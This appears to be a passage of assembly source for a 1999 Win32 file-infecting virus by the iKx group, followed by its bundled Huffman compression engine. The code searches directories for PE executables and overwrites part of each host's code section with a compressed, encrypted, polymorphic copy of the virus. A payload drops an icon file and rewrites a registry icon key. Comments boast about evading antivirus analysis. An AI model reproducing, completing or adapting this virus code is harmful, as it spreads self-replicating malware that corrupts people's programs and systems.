jne	attackfile2				; (I don't want to annoy 
						; DLL or CPL or OCX,I'm just
						; a relax virus writer...)
call Open_file					; open file

;
; This is an old-school infection method, it don't need to map the file into
; memory, but jusk seek-write-read and could be used by readaptating the 
; following routine to dos compatibility:
;		Seek_file Location=edx
;		Read_file Buffer=edx Length=ecx
;		Write_file Buffer=edx Length=ecx
;
; It's basically designed for infecting PE :)

Infection:					; Pseudo :]

	mov	dl,byte ptr [ebp+infcount]
	cmp	byte ptr [ebp+maxinf],dl		; we can't infect 
							; too much in 
	mov 	edx,03ch				; per process mode
	call	Seek_file		

	mov	ecx,04h					; read if it's PE
	lea 	edx,[ebp+ReadyForHost]
	call	Read_file

	mov	edx,dword ptr [ebp+ReadyForHost]	; seek
	push	edx
	mov	dword ptr [ebp+HeaderOffset],edx
	call	Seek_file				; 

	mov 	ecx,(4096/2)+0f8h
	lea	edx,[ebp+ReadyForHost]			; 
	call	Read_file				; so we read needed
	pop	edx					; infos from file

	cmp 	word ptr [ebp+ReadyForHost],'EP'	; PE signature
	jne 	CloseFile				; check

        cmp     word ptr [ebp+ReadyForHost+66],'0s'	; test if we are there
        je      CloseFile				; Checksum, should 

        mov     word ptr [ebp+ReadyForHost+66],'0s'	; remove that

	lea 	edx,[ebp+ReadyForHost]			; 

	mov	dword ptr [edx+160],0			; reset fixups
	mov	dword ptr [edx+164],0

	movzx	ecx,word ptr [edx+6]
	
	lea	eax,[edx+0F8h]				; this start of 
							; section entry
nullifyreloc:						; should have to
							; modify that a day
	mov	dword ptr [eax+24],0
	mov	dword ptr [eax+28],0			; and sections
	mov	dword ptr [eax+32],0			; reseting fixups
	add	eax,40

	loop	nullifyreloc				; go away reloc, bad
							; nightmare
	mov	ecx,dword ptr [ebp+ReadyForHost+40]	; saving entrypoint
	mov	esi,ecx		
	add	esi,dword ptr [ebp+ReadyForHost+52]	; and get memory adres
	mov     dword ptr [ebp+Return],esi		; storing esi
	mov     dword ptr [ebp+Restore],esi		; storing esi again

        lea     esi,[ebp+ReadyForHost+0f8h]		; start of 1st
							; section
	mov	eax,dword ptr [esi+12]			; look for eax
	mov	edx,eax
	add	edx,dword ptr [esi+16]			; and edx

	cmp	ecx,eax					; check if entrypoint
	jb	CloseFile				; <> code

	cmp	ecx,edx
	ja	CloseFile				;then we have compress.
							; file
	or	dword ptr [esi+36],080000000h

	cmp	dword ptr [esi+16],75000		; look if big enough
	jb 	infectionmethod2			; some PE are 4 megs
							; ie: FF7 executable
							; if so then compress
							; partially
	mov 	eax,dword ptr [esi+12]
	add	eax,dword ptr [esi+8]
	sub	eax,ecx					; now check if EP 
							; - codesection is
	cmp	eax,75000				; smaller, so we
	jb 	infectionmethod3			; will have to fix that
							; too
	sub	ecx,dword ptr [esi+12]
	add	ecx,dword ptr [esi+20]			; okay all right
							; proceed compression
	mov	dword ptr [ebp+FileOffset],ecx

	mov 	edx,ecx
	push	edx
	call	Seek_file				; going to entry offset
	pop	edx					; set size as encrypt
							; val :)
	call	DropcryptedVirus			; make a encrypted ver.

	mov	ecx,75000				; set how much to 
							; compress

Compresslookup:					; generic infection method

	push	ecx				; 
	mov	dword ptr [ebp+TakenByte],ecx	; save crypted virus to 
	call	DropcryptedVirus		; buffer

	mov	edx,edi
	pop	ecx
	push	ecx
	call	Read_file			; read how much byte to compres

	mov	edi,dword ptr [ebp+compressbuffer]
	call	DropStubLoader			; then put the decompression
						; stub (about 500 bytes)
				; (it have to alloc/init find kernel, apis..)
	pop	ecx
	add	ecx,pseudofin-start		; so compress virus 
	mov	esi,dword ptr [ebp+databuffer]	; 

	call	DarkCMP

	mov	dword ptr [ebp+seed],ecx	; randomizing decryptors :)

	cmp	ecx,dword ptr [ebp+TakenByte]	; look how much compression
	jb	CloseFile			; we got if > ?

	mov	byte ptr [ebp+numberloop],0	; reset number of algorithm
	lea	ecx,[edi+eax]			; fuck, can't remember why
						; I did this instruction
	push	edi
	push	esi
	push	ecx

Checknext:

	pop	ecx
	pop	esi
	pop	edi
	
	push	edi
	push	esi
	push	ecx

	inc	byte ptr [ebp+numberloop]		; make 1 more algos...
	sub	dword ptr [ebp+seed],esi		; making allways 
	and	dword ptr [ebp+seed],0FFFFFh		; get all this number
							; of possible number
	push	ebp

	mov	esi,dword ptr [ebp+compressbuffer]	; so now make poly of
	mov	edi,dword ptr [ebp+databuffer]		; it

	mov	ebp,dword ptr [ebp+Restore]		; set where poly will
	sub	ecx,esi					; be in memory

	call	poly					; poly this

	pop	ebp

	cmp	byte ptr [ebp+numberloop],10		; we reached the end
	ja	CloseFile0				; without finding good

	cmp	ecx,dword ptr [ebp+TakenByte]		; compression algos ?
	ja	Checknext

	pop	eax
	pop	eax
	pop	eax					; stack reajustement

	call	InitCritical				; stop other main thread
							; don't want to be
;	pushad						; annoyed during 
;							; infection procedure
;	push	1
;	lea	eax,dword ptr [ebp+caption]
;	push	eax
;	lea	edx,word ptr [ebp+workingdir]
;	push	edx
;	push	0
;	call	dword ptr [ebp+MessageBoxA]		
;
;	mov	dword ptr [esp+20h-4],eax
;	popad

;	cmp	eax,2
;	je	cretino1

	push	ecx
	mov	edx,dword ptr [ebp+HeaderOffset]
	call	Seek_file				; go to where we read
							; to the header
	mov 	ecx,(4096/2)+0f8h
	lea	edx,[ebp+ReadyForHost]			; rewrite the header
	call	Write_file

	mov	edx,dword ptr [ebp+FileOffset]		; go to where we took
	call	Seek_file				; compressed datas

	pop	ecx
	mov	edx,dword ptr [ebp+databuffer]

	call	Write_file				; write it to file

cretino1:

	call	LeaveCritical				; resume thread

	inc	byte ptr [ebp+infcount]			; increment infection

CloseFile:

	jmp	finfi					; stop file

CloseFile0:

	pop	ecx
	pop	esi
	pop	edi
	jmp	finfi					; stoping poly loop
							; creation
infectionmethod2:

	mov	eax,dword ptr [esi+16]			; check if code
	cmp	eax,45000				; is bigger than 45000
	jb	CloseFile				; else go away

	mov	edx,dword ptr [esi+20]
	mov	dword ptr [ebp+FileOffset],edx
	call	Seek_file				; go to start of sect

	mov	eax,dword ptr [esi+12]
	mov	dword ptr [ebp+ReadyForHost+40],eax	; set entry to there
	add	eax,dword ptr [ebp+ReadyForHost+52]
	mov	dword ptr [ebp+Restore],eax		; set for poly

	mov	ecx,dword ptr [esi+16]
	jmp	Compresslookup				; go infect it

infectionmethod3:

	mov	edx,dword ptr [esi+20]	
	add	edx,dword ptr [esi+16]
	sub	edx,75000			; get end of sec - 75000

	mov	eax,edx
	sub	eax,dword ptr [esi+20]		; then get offset
	add	eax,dword ptr [esi+12]

	mov	dword ptr [ebp+ReadyForHost+40],eax
	add	eax,dword ptr [ebp+ReadyForHost+52]	; set entrypoint
	mov	dword ptr [ebp+Restore],eax

	mov	dword ptr [ebp+FileOffset],edx		; and drop offset
	call	Seek_file				; go overthere

	mov	ecx,75000				;full compression buff.

	jmp	Compresslookup

DropcryptedVirus:

encrypt:

                lea     esi,[ebp+start]
                mov     edi,dword ptr [ebp+databuffer]	;I don't saved the

	        mov     ecx,pseudofin-start		;key so avers will have
		repz	movsb				;to test every poss.

		push	edi

		lea	esi,[edi-1]
                mov     ecx,pseudofin-StartCrypt	; how much to encrypt

gegenviom:

		xor	dl,25				; this is sliding key
                xor     byte ptr [esi],dl		; hohoho, you will
                add     dl,99				; have to emulate
                add     byte ptr [esi],dl		; each loop
	
        	dec     esi				; enjoy guys
                loop    gegenviom
                
		pop	edi
		ret

DropStubLoader:

		mov	byte ptr [ebp+stubtest],1	; this is just for
                mov     ecx,FinStub-StubLoader		; previewving virus
                lea     esi,[ebp+StubLoader]		; decompression
                repz    movsb
		mov	byte ptr [ebp+stubtest],0
                ret

caption:	db	'Host found',0

countcompress:		dd	0
countoffset:		dd	0

numberloop:		db	0

FileOffset:		dd	0
HeaderOffset:		dd	0
TakenByte:		dd	0

finfi:

;	pushad						; made for debugging
;							; purpose
;       push    0
;	lea	eax,dword ptr [ebp+caption]
;	push	eax
;	lea	edx,word ptr [ebp+workingdir]
;	push	edx
;	push	0
;	call	dword ptr [ebp+MessageBoxA]			; for test
;
;	mov	dword ptr [esp+20h-4],eax
;	popad

call Close_file					; close it

attackfile2:

willbeback:

pop	edx					; look for next file in sub
push	edx
lea	eax,[ebp+filedata]
push	eax
push	edx
call	dword ptr [ebp+FindNextFileA]		; findnextfilea

cmp	eax,0
jne	findnextfileA

call	dword ptr [ebp+FindClose]		; close find (wow that time,
						; it's not buggy :) 
finishattack:

ret

oldesp:

KillSubDir:

cmp	dword ptr [ebp+filedata+2Ch],'TSYS'		; don't infect 
je	finishattack					; system directory

cmp	dword ptr [ebp+filedata+2Ch],'tsys'		; avoiding NT problems
je	finishattack					; 

cmp	byte ptr [ebp+treeflag],1
jne	secureit

cmp	dword ptr [ebp+filedata+2Ch],'BSYS'		; infect sysback
jne	finishattack

cmp	dword ptr [ebp+filedata+2Ch],'bsys'
jne	finishattack

secureit:

mov	eax,(1024*2)+4
call	alloc					; alloc memory

push	eax
push	eax

mov	edi,eax
lea	esi,[ebp+originaldir]
mov	ecx,(1024*2)+4
repz	movsb					; save precdent dir infos

mov	edi,dword ptr [ebp+pointerdata]
call	connectit				; put dir name + curr dir status

;	pushad
;
;       push    0
;       lea     edx,word ptr [ebp+originaldir]
;	push	edx
;       lea     edx,word ptr [ebp+originaldir]
;	push	edx
;	push	0
;	call	dword ptr [ebp+MessageBoxA]
;
;	mov	dword ptr [esp+20h-4],eax
;	popad


call	Killdir					; scan directory

pop	esi
lea	edi,[ebp+originaldir]
mov	ecx,(1024*2)+4

repz	movsb					; restore back directoy and
						; infos
pop	eax
call	Delloc					; then delocate

ret

makescandir:

inc	eax
cmp 	byte ptr [eax],0
jne	makescandir

cmp	byte ptr [eax-1],'\'			; look if it have or not, fix
je	gottaway				; it anyway

mov	byte ptr [eax],'\'
inc	eax

gottaway:

mov	dword ptr [eax],'*.*'			; concatenating *.*
mov	dword ptr [ebp+pointerdata],eax

ret

checkext:

lea	esi,[ebp+originaldir]				; look for file
lea	edi,[esi+1024]					; in the file data
mov	ecx,1024
repz	movsb

mov	edi,dword ptr [ebp+pointerdata]
add	edi,1024
call	connectit					; we put name on the
							; background file data
mov	eax,dword ptr [edi-4]
call	lowcaseme					; low case extension
ret

treeflag:	db	1

connectit:

lea	esi,[ebp+filedata+2Ch]				; add dir

mov	eax,dword ptr [ebp+pointerdata]			; add file data
mov	dword ptr [eax],0

finishmakedir:

mov	al,byte ptr [esi]
mov	byte ptr [edi],al

inc	esi
inc	edi

cmp	al,0
jne	finishmakedir					; until we reached end
							; of file name
ret

lowcaseme:

mov	ecx,4						; look how much we have
							; to scan
lowcaseit:

rol	eax,8
cmp	al,'A'
jb	dontapply					; if between A -> Z
cmp	al,'Z'						; then redesign to 
ja	dontapply					; ascii

add	al,'a'-'A'

dontapply:

loop	lowcaseit

ret

payload:

lea eax,[ebp+currbuff2]
push eax

push 255
push eax
call dword ptr [ebp+GetSystemDirectoryA]		; get windows directory

pop edi
scannextz:
inc edi
cmp byte ptr [edi],0
jne scannextz						; look there

mov ecx,8
lea esi,[ebp+ikxico]
repz movsb						; then create

push 0
lea eax,[ebp+currbuff2]
push eax
call dword ptr [ebp+Lcreat]				; SYSDIR\ikx.00

push eax

dropit:							; 

lea ebx,[ebp+trademark]
push 766
push ebx
push eax
call dword ptr [ebp+Lwrite]				; write the icon

call dword ptr [ebp+Lclose]				; then close the file

lea     eax,[ebp+KeyOne]
mov	ecx,080000000h

call Reginitialize					; open the key
							; and write datas
lea     eax,[ebp+KeyZero]
mov	ecx,080000002h

push	dword ptr [ebp+StoorHere]
mov	byte ptr [ebp+StoorHere],0
lea	esi,[ebp+mess1]
lea	edi,[ebp+currbuff2]
mov	ecx,finmess1-mess1
repz	movsb					; copy all that over there

lea     eax,[ebp+KeyOne]			; 
mov	ecx,080000000h

call	Reginitialize				; open the key that we had 
pop	dword ptr [ebp+StoorHere]		;
ret

Reginitialize:

lea	edx,[ebp+rezo21]				; boring to describe
push 	edx						; look win32.hlp
push	002000000h
push	0
push    eax
push	ecx
call    dword ptr [ebp+RegOpenKeyExA]			; open the key

xor     ecx,ecx
lea     edi,[ebp+currbuff2]
push    edi

dodoit:

inc     ecx
inc     edi
cmp     byte ptr [edi],0
jne     dodoit
cmp 	byte ptr [edi-1],'0'
je	skipcount
cmp 	byte ptr [edi-1],'!'
je	skipcount					; whohoho...

mov     dword ptr [edi],'0,'
inc     ecx
inc     ecx

skipcount:

pop     edi
push    ecx
push    edi
push    1
push    0
push    0
push    dword ptr [ebp+rezo21]
call    dword ptr [ebp+RegSetValueExA]			; overwrite it

ret

poem:

;	db ' I was in the street today, so long time I didnt saw it',0
;	db ' I was afraid coz so long time I didnt saw so much poeple',0
;	db ' I tasted beer again, I liked it, I tasted joint, I was planning',0
;	db ' I enjoyed with girls, like old good times, when I was happy',0
;	db ' But after all these enjoyment, I didnt feel in my garden',0
;	db ' Like a bird trying to fly in water, ridiculous like hell',0
;	db ' That was my life, excepting to be happy from a computer',0
;	db ' Just secure my brain, getting ideas and make them working',0
;	db ' I spend so much time behind my computer, loosing my time',0
;	db ' I did what I never excepted to do, I remember my beginners ideas',0
;	db ' I tryed to go to the infinite, I arrived in hell',0
;	db ' If you are like I was, you should follow this tip',0
;	db ' Stop vxing guys, you are loosing sensations',0
;	db 0


mess1:	db 'Remember VX meeting times...',0
finmess1:

ikxico:         db '\ikx00.ico',0

KeyZero:
db 'SOFTWARE\Classes\'
KeyOne:
db 'CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\'
StoorHere:
db 'DefaultIcon',0
KeyFin:
trademark:

yeye:
 db 000h, 000h, 001h, 000h, 001h, 000h, 020h, 020h, 010h, 000h, 000h, 000h
 db 000h, 000h, 0e8h, 002h, 000h, 000h, 016h, 000h, 000h, 000h, 028h, 000h
 db 000h, 000h, 020h, 000h, 000h, 000h, 040h, 000h, 000h, 000h, 001h, 000h
 db 004h, 000h, 000h, 000h, 000h, 000h, 080h, 002h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 080h, 000h, 000h, 080h
 db 000h, 000h, 000h, 080h, 080h, 000h, 080h, 000h, 000h, 000h, 080h, 000h
 db 080h, 000h, 080h, 080h, 000h, 000h, 0c0h, 0c0h, 0c0h, 000h, 080h, 080h
 db 080h, 000h, 000h, 000h, 0ffh, 000h, 000h, 0ffh, 000h, 000h, 000h, 0ffh
 db 0ffh, 000h, 0ffh, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 0ffh, 0ffh
 db 000h, 000h, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 00bh
 db 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 000h, 000h, 000h, 009h, 009h
 db 009h, 009h, 009h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 000h, 000h
 db 000h, 000h, 009h, 009h, 009h, 009h, 009h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0b0h, 000h, 000h, 000h, 009h, 009h, 009h, 009h, 009h, 00bh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 009h, 009h
 db 090h, 000h, 090h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h
 db 000h, 000h, 009h, 009h, 009h, 009h, 009h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0b3h, 033h, 033h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00bh
 db 0bbh, 0bbh, 0bbh, 0bbh, 033h, 033h, 033h, 033h, 030h, 000h, 000h, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 033h, 033h, 033h, 033h, 033h
 db 033h, 000h, 000h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b3h, 033h
 db 033h, 033h, 033h, 033h, 033h, 000h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 033h, 033h, 033h, 033h, 033h, 033h, 033h, 000h, 00bh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b3h, 033h, 033h, 033h, 033h, 033h, 033h
 db 030h, 000h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b3h, 033h, 033h
 db 033h, 033h, 033h, 030h, 000h, 000h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h
 db 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h
 db 000h, 000h, 00bh, 0b0h, 0b0h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 0b0h, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0b0h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 00bh, 0bfh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0b9h, 099h, 099h, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 00bh, 0bfh
 db 0fbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 099h, 099h, 09bh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0b0h, 000h, 0bfh, 0ffh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 0bbh, 0ffh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 00bh
 db 0bfh, 0ffh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0b0h, 000h, 000h, 000h, 0bbh, 0ffh, 0ffh, 0fbh, 0bbh, 0bbh, 0bbh, 0bbh
 db 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 000h, 00bh, 0bfh, 0ffh, 0ffh
 db 0fbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 000h, 000h, 000h, 000h
 db 000h, 0bbh, 0bfh, 0ffh, 0ffh, 0ffh, 0bbh, 0bbh, 0fbh, 0bbh, 0bbh, 000h
 db 000h, 000h, 000h, 000h, 000h, 00bh, 0bbh, 0bfh, 0ffh, 0ffh, 0ffh, 0ffh
 db 0fbh, 0bbh, 0b0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00bh, 0bbh
 db 0bfh, 0ffh, 0ffh, 0fbh, 0bbh, 0b0h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 00fh, 0ffh, 000h, 000h, 001h, 0ffh, 000h, 000h
 db 000h, 07fh, 000h, 000h, 000h, 03fh, 000h, 000h, 000h, 01fh, 000h, 000h
 db 000h, 00fh, 000h, 000h, 000h, 007h, 0c0h, 000h, 000h, 003h, 0c0h, 000h
 db 000h, 003h, 080h, 000h, 000h, 003h, 080h, 000h, 000h, 007h, 080h, 000h
 db 000h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 080h, 000h
 db 000h, 001h, 080h, 000h, 000h, 001h, 080h, 000h, 000h, 001h, 0c0h, 000h
 db 000h, 003h, 0c0h, 000h, 000h, 003h, 0e0h, 000h, 000h, 007h, 0f0h, 000h
 db 000h, 00fh, 0f8h, 000h, 000h, 01fh, 0fch, 000h, 000h, 03fh, 0feh, 000h
 db 000h, 07fh, 0ffh, 080h, 001h, 0ffh, 0ffh, 0f0h, 00fh, 0ffh  

include etms.asm
include dsce.asm

getapis:

db 'KERNEL32.'
db 'USER32.'
db 'ADVAPI32.'                                  ; Pseudo imported dlls
db -1

dd 0aacce3ch                                    ; file action
dd 01558146h                                    ; see above
dd 0aacf03dh
dd 0aad8d85h
dd 0155be2ch
dd 0aac3c03h
dd 09554ef69h

dd 0D45D57C9h                                   ; mapping apis
dd 05FBCD23Ch

dd 0a412f949h                                   ; windows libaries managing
dd 078a25f37h                                  

dd 0ab16d5ceh                                   ; memory apis
dd 0b562d377h

dd 0c6387a85h                                   ; create exit Threads
dd 01cdc7e3fh

dd 0cb8d7a80h                                   ; priority class setting
dd 046863856h
dd 04690b856h

dd 0297c5269h                                   ; suspend create threads
dd 0a1187bb2h

dd 002c7218h                                    ; sleep -)

dd 0b04301d5h                                   ; Read Write Process Memory
dd 0a58ad555h

dd 0c26c5705h                                   ; ToolHelp debugging functions
dd 095b0c289h
dd 0b2b60b08h

dd 056B3973Eh                                   ; FindNext/FindFirst/Findclose
dd 0e37e8dc3h
dd 07aaef03fh

dd 0a24e569eh                                   ; GetCurrent/GetWin/GetSys
dd 06259ad0dh                                   ; directory
dd 09a75bb1ah

dd 05ecf0a4ch                                   ; MessageBox
dd 014d14ccbh                                   ; getdrivetype

dd 029bf2c25h                                   ; OpenProcess

dd 0c53b1c30h                                   ; RegOpen
dd 09774ef48h                                   ; RegSetKey

dd 0ee84c668h                                   ; GetSystemTime

db -1

db      'B0/S0 - [iKx] (c) 1999 all right reserved - present '
db	'AldeBaran'

pseudofin:

returnapis:

Lcreat:		dd	0
Lopen:		dd	0
Lclose:		dd	0
Lwrite:		dd	0
Lread:		dd	0
Llseek:		dd	0
GetFileSize:	dd	0

MapViewOfFile:		dd	0
CreateFileMappingA:	dd	0

LoadLibraryA:	dd	0
FreeLibrary:	dd	0	

VirtualAlloc:	dd	0
VirtualFree:	dd	0

CreateThread:	dd	0
ExitThread:	dd	0

GetCurrentProcess:		dd	0
GetPriorityClass:		dd	0
SetPriorityClass:		dd	0

SuspendThread:	dd	0
ResumeThread:	dd	0

Sleep0:		dd	0

ReadProcessMemory:		dd	0
WriteProcessMemory:		dd	0

CreateToolhelp32Snapshot:	dd	0
Process32First:			dd	0
Process32Next:			dd	0

FindFirstFileA:	dd	0
FindNextFileA:	dd	0
FindClose:	dd	0

GetCurrentDirectoryA:	dd	0
GetWindowsDirectoryA:	dd	0
GetSystemDirectoryA:	dd	0

GetDriveTypeA:	dd	0
MessageBoxA:	dd	0

OpenProcess:	dd	0

RegOpenKeyExA:	dd	0
RegSetValueExA:	dd	0

GetSystemTime:	dd	0

; Temporary datas, arrrrrrrrrrf :)

ForeignThread:	dd	0

oldseh:		dd	0

ReturnTemp:	dd	0

FileHandle:	dd	0
databuffer:	dd	0
compressbuffer:	dd	0

MapHandle:	dd	0
MapHandle1:	dd	0
Ourmemory:	dd	0

reserror:	db	0
Checkres:	db	0

processid:	dd	0
		dd	0
PseudoData:	db 	16 dup (0)

maxinf:
maxinfect:	dd	0
infcount:
countinfect:	dd	0
numbscan:	dd	0
waitscan:	dd	0

checkflag:	dd	0

datadummy:		db	400h dup (0)

FindData:
filedata:
File_Data:	db	2ch dup (0)

		db	'winhlp32.exe',0
                db      13+5 dup (0)

ReadyForHost:	db 	0F8h dup (0)
TableHost:	db	4096/2 dup (0)

currbuff2:	db	400	dup (0)
rezo21:		dd	0
currbuff3:	db	2000	dup (0)

originaldir:	db 	1024	dup 	(0)
workingdir:	db	1024	dup	(0)
pointerdata:	dd	0

fin:

end Host
                                                                       

--- Include: DSCE.ASM

;
; Comperssion engine based on the Huffman algorithm - EvilRats produKtion!
;
;   Still under devlopment and test, Version 0.99 revision 5b
;
; 	Can support a dword as dictionary base like professional softwares
;	Speed up and many improvents to gain time , these routines are 100%
;       multitask. These routines doesn't require extra memory to work
;       but just need a buffer to acquire datas, for compression, if you are
;       not sure, better is to add 8ko to it, it will return the exact size
;       of the compressed datas... (You must respect a minimum of 8 Ko buffer,
;       else, it will GP Fault)
;
;	Ideal utilisation: 	Compressing text video datas got 60% and 80
;				Compressing executable file got 80-90%
;
;	Revision 5b is specially optimized for very large compression, I mean
;	for compressing more than 20 Ko, and not for small buffer, older 
;	revisions were quite efficient for small buffer (even on 512 bytes
;	buffer) but I don't release this version, I don't have commented it.
;       If you really want it, please mail: starzeros@hotmail.com
;
;       Ideal code placing: The code was originally coded for 32 bits,
;	utilization in 16 bit programs will slow down the compression
;	to +- 5 ko/sec... (value taken with Softice but it's so often 
;       instable..., anyway, the compression is eye visible in dos mode :[ )
;
;	With revision 5.b, you should compress only larger than 16 Ko to get
;	something serious. Else the dictionary (that will take 1Ko entirely)
;	will eat to much place. 
;
;	Unfortunately, this version of DSCE loose about 5 to 10% of compression
;	rate, but anyway, it's quite enough for vxing needs...
;
;	Test on standard memory compression:
;			453 Ko/sec with highest process priorities !!!
;			200 Ko/sec with normal process priorities
;			48 Ko/sec with lowest process priorities 
;
;       Arguments:          DarkCMP             ecx = number of bytes
;						esi = long pointer to addresses
;						edi = long pointer to buffer
;
;			    UnDkCMP	 	ecx = size of datas
;						esi = long pointer to the base
;						edi = long pointer to the base					
;
;		to get needed memory size, just get the dword at [esi+1],
;		then drop over it.
;
;	Routine size:	+- 125	for decompression (LZH decoding :)
;                          570  for compression 
;
; Revision 5 - Decompression routines reoptimized
;			- no more need of extra memory
;			- speed up because no three building on output
;			- not anymore eye visible
;			- we are loosing some percentages compression :(
;	        	- decompression routine size down to: about 125 bytes
;			- improvent for decompression speed, down to
;			84 microsecond for 50 Ko on a P133 !!!
;			(I didn't belived myself but true, 5000 Mega/sec ???)
;
; Revision 4 - Improved construction, Complete 32 bit structures
;		- Revised time critical procedure 1 (256 times speed up!)
;		- Revised time critical procedure 3 (for very large compression)
;		- A few bugs revised
;
; - I have to greet zombie for all his help during the writing of
;                                                            these routines -
;
;

DarkCMP:

pushad

push    edi                                     ; saving value for compressed
                                                ; size calculation 
mov	byte ptr [edi],'h'
mov	dword ptr [edi+1],ecx			; original size

push    esi                                     ; saving value for later
push	ecx

push	edi

lea     edi,[edi+5*256]                         ; set where we will put datas
push	edi					;+4 don't worry this is
						;for stimulated stack
xor     eax,eax					;just for coder's comprehension

push	edi
push	ecx					;+8

xor     eax,eax                                 ; making a 1024 bytes zero
mov     ecx,1024                                ; zone
repz	stosb

pop	ecx					;-8
pop	edi

mov	ebx,4

dictionarylookup:				; Time Critical Revision One

movzx   eax,byte ptr [esi]                      
mul     ebx                                     ; we are building a zone of
inc     dword ptr [edi+eax]                     ; number of frequencie
inc     esi                                     ; we inc table+ascii*4
                                                ; each time ascii encountered
loop    dictionarylookup

pop	esi					;-4
lea	edi,[esi+1025]
push	edi					;+4

mov     ax,-1

thendontstore:                                  ; we need to kill these that
inc     ax                                      ; happend 0 times
mov     byte ptr [edi],al                       ; so, put number in edi

mov     edx,dword ptr [esi]                     ; get frequency of al
cmp     edx,0                                   ; if zero, kill it
je      dontstoryindicotable

mov     dword ptr [edi+1],edx                   ; saving it
add     edi,5                                   ; next pos in table
cmp	ax,100h
je	dontstoryindicotable
inc	ecx
dontstoryindicotable:
add     esi,4                                   ; get next frequecy
cmp     ax,100h                                 ; build it
jne     thendontstore				; 1024 bytes eat

pop	edi					;-4

lea     esi,[edi+256*5]                         ; where we are going to
inc     esi                                     ; put the crescendo mode
mov     byte ptr [esi],cl                       ; but put number of entry 
inc     esi                                     ; there

mov     eax,5                                   ; multiply it
mul	ecx

add     esi,eax                                 ; esi will become edi 
sub     esi,5                                   ; later
mov	eax,1

mov     ebx,ecx                                 ; ecx equal number of items
mov	edx,1

xchg    esi,edi                                 ; here we go again

push	edi				; +8
push	ecx

setanynumber:

buildarbitrarydictionaryloop1:          ;This operation is time critical
                                        ;as 32 bit, dunno, I will may be
push    ecx                             ;rebuild it...
push    esi                             ;I made a fixup for large compression

checkforvalidone:

xor     eax,eax                         ; start at zero

buildarbitrarydictionaryloop:

cmp     eax,dword ptr [esi+1]           ; if eax is bigger then bybye
ja	thendontsetarbitrary

mov     eax,dword ptr [esi+1]           ; we set frequency in eax as biggest
mov     edx,esi                         ; and save his location

thendontsetarbitrary:

add	esi,5
loop    buildarbitrarydictionaryloop    ; it's the last of the series
                                        ;  
